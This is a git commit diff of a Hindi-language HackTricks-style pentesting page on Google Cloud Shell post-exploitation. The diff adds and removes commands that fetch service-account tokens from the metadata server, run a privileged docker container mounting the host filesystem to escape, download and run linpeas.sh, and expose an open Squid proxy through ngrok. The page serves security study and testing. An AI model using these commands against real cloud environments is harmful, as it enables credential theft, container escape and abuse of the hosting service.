Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:38:38 +00:00
parent 92ae16b5c5
commit 71fb61f52f
@@ -10,40 +10,40 @@ Cloud Shell के बारे में अधिक जानकारी क
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### metadata से users token प्राप्त करना
ध्यान ें कि Google Cloud Shell एक container के अंदर चलता है; आप नीचिए गए कमांड करके **easily escape to the host** कर सकते हैं:
केवल metadata server तक पहुँचकर आप वर्तमान ें logged on user के रूप में access करने किए एक token प्राप्त कर सकते हैं:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> पहले cloud shell एक container में चलता था जिसमें host के docker socket तक पहुंच थी। अब Google ने आर्किटेक्चर बदल दिया है और cloud shell container अब "Docker in a container" सेटअप में चलता है। इसलिए भले ही cloud shell से docker का उपयोग संभव हो, आप docker socket का उपयोग करके host पर escape नहीं कर पाएंगे।
> ध्यान दें कि पहले `docker.sock` फ़ाइल `/google/host/var/run/docker.sock` में स्थित थी लेकिन अब इसे `/run/docker.sock` में स्थानांतरित कर दिया गया है।
<details>
<summary>Container escape commands</summary>
<summary>Docker use / Old container escape commands</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>
यह google द्वारा एक vulnerability माना नहीं जाता, लेकिन यह आपको उस env में क्या हो रहा है का एक व्यापक दृष्टिकोण देता है।
इसके अलावा, ध्यान दें कि host से आप एक service account token पा सकते हैं:
इसके अलावा, पहले metadata server में cloud shell VM द्वारा उपयोग किए गए एक service account का token खोजा जा सकता था:
<details>
<summary>Get service account from metadata</summary>
<summary>Metadata से पुराना service account</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
निम्नलिखित scopes के साथ:
<details>
<summary>सर्विस अकाउंट के scopes प्राप्त करें</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
```
</details>
LinPEAS के साथ metadata enumerate करें:
<details>
<summary>LinPEAS के साथ metadata enumerate करें</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Service Account के token के साथ [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) का उपयोग करने के बाद **कोई permission नहीं मिला**...
### इसे Proxy के रूप में उपयोग करें
यदि आप अपने google cloud shell instance को proxy के रूप में उपयोग करना चाहते हैं तो आपको निम्नलिखित commands चलान होंग (या न्हें .bashrc फ़ाइल में डालना होगा):
यदि आप अपने google cloud shell instance को Proxy के रूप में उपयोग करना चाहते हैं, तो आपको निम्नलिखित कमांड चलान होंग (या न्हें .bashrc file में डालना होगा):
<details>
@@ -79,11 +67,11 @@ sudo apt install -y squid
```
</details>
जानकारी के लिए: Squid एक http proxy server है। निम्न सेटिंग्स के साथ एक **squid.conf** फ़ाइल बनाएं:
जानकारी के लिए, Squid एक http proxy server है। निम्न सेटिंग्स के साथ **squid.conf** फ़ाइल बनाएं:
<details>
<summary>Create squid.conf file</summary>
<summary>squid.conf फ़ाइल बनाएँ</summary>
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
@@ -92,11 +80,11 @@ http_access allow all
```
</details>
**squid.conf** फ़ाइल को **/etc/squid** में कॉपी करें
कॉपी करें **squid.conf** फ़ाइल को **/etc/squid** में
<details>
<summary>कॉन्फ़िग को **/etc/squid** में कॉपी करें</summary>
<summary>कॉन्फ़िग को /etc/squid में कॉपी करें</summary>
```bash
sudo cp squid.conf /etc/squid
```
@@ -106,13 +94,13 @@ sudo cp squid.conf /etc/squid
<details>
<summary>Start Squid service</summary>
<summary>Squid सेवा शुरू करें</summary>
```bash
sudo service squid start
```
</details>
बाहर से proxy उपलब्ध कराने के लिए ngrok का उपयोग करें:
proxy को बाहर से उपलब्ध कराने के लिए ngrok का उपयोग करें:
<details>
@@ -122,9 +110,9 @@ sudo service squid start
```
</details>
रन करने के बाद tcp:// url कॉपी करें। यदि आप proxy को browser से चलाना चाहते हैं, तो tcp:// भाग और port हटा दें और port को अपने browser proxy settings के port field में डालें (squid is a http proxy server).
चलाने के बाद tcp:// url कॉपी करें। यदि आप ब्राउज़र से proxy चलाना चाहते हैं तो सुझाव दिया जाता है कि tcp:// हिस्सा और port हटा दें और port को अपने ब्राउज़र की proxy settings के port field में डालें (squid is a http proxy server)
स्टार्टअप पर बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:
बेहतर उपयोग के लिए स्टार्टअप पर .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:
<details>
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
</details>
निर्देश [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) से कॉपी किए गए थे। उस पृष्ठ में अन्य अनोखे तरीके देखें जिनसे किसी भी प्रकार का सॉफ़्टवेयर (databases and even windows) Cloud Shell में चलाया जा सकता है
निर्देश इनसे कॉपी किए गए थे: [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). उस पेज को देखें Cloud Shell में किसी भी प्रकार का सॉफ़्टवेयर चलाने (databases और even windows सहित) के अन्य पागल विचारों के लिए
{{#include ../../../banners/hacktricks-training.md}}